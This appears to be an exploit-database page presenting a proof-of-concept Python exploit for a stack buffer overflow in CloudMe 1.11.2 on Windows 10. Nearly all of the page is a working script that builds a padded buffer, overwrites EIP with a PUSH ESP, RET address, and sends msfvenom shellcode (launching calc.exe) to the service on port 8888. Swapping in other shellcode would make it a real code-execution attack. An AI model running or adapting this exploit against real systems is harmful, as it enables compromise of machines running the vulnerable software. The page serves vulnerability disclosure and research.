CloudMe 1.11.2 Buffer Overflow

2020.04.28
Credit: Andy Bowden
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC) # Date: 2020-04-27 # Exploit Author: Andy Bowden # Vendor Homepage: https://www.cloudme.com/en # Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe # Version: CloudMe 1.11.2 # Tested on: Windows 10 x86 #Instructions: # Start the CloudMe service and run the script. import socket target = "127.0.0.1" padding1 = b"\x90" * 1052 EIP = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET NOPS = b"\x90" * 30 #msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python payload = b"\xba\xad\x1e\x7c\x02\xdb\xcf\xd9\x74\x24\xf4\x5e\x33" payload += b"\xc9\xb1\x31\x83\xc6\x04\x31\x56\x0f\x03\x56\xa2\xfc" payload += b"\x89\xfe\x54\x82\x72\xff\xa4\xe3\xfb\x1a\x95\x23\x9f" payload += b"\x6f\x85\x93\xeb\x22\x29\x5f\xb9\xd6\xba\x2d\x16\xd8" payload += b"\x0b\x9b\x40\xd7\x8c\xb0\xb1\x76\x0e\xcb\xe5\x58\x2f" payload += b"\x04\xf8\x99\x68\x79\xf1\xc8\x21\xf5\xa4\xfc\x46\x43" payload += b"\x75\x76\x14\x45\xfd\x6b\xec\x64\x2c\x3a\x67\x3f\xee" payload += b"\xbc\xa4\x4b\xa7\xa6\xa9\x76\x71\x5c\x19\x0c\x80\xb4" payload += b"\x50\xed\x2f\xf9\x5d\x1c\x31\x3d\x59\xff\x44\x37\x9a" payload += b"\x82\x5e\x8c\xe1\x58\xea\x17\x41\x2a\x4c\xfc\x70\xff" payload += b"\x0b\x77\x7e\xb4\x58\xdf\x62\x4b\x8c\x6b\x9e\xc0\x33" payload += b"\xbc\x17\x92\x17\x18\x7c\x40\x39\x39\xd8\x27\x46\x59" payload += b"\x83\x98\xe2\x11\x29\xcc\x9e\x7b\x27\x13\x2c\x06\x05" payload += b"\x13\x2e\x09\x39\x7c\x1f\x82\xd6\xfb\xa0\x41\x93\xf4" payload += b"\xea\xc8\xb5\x9c\xb2\x98\x84\xc0\x44\x77\xca\xfc\xc6" payload += b"\x72\xb2\xfa\xd7\xf6\xb7\x47\x50\xea\xc5\xd8\x35\x0c" payload += b"\x7a\xd8\x1f\x6f\x1d\x4a\xc3\x5e\xb8\xea\x66\x9f" overrun = b"C" * (1500 - len(padding1 + NOPS + EIP + payload)) buf = padding1 + EIP + NOPS + payload + overrun try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target,8888)) s.send(buf) except Exception as e: print(sys.exc_value)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top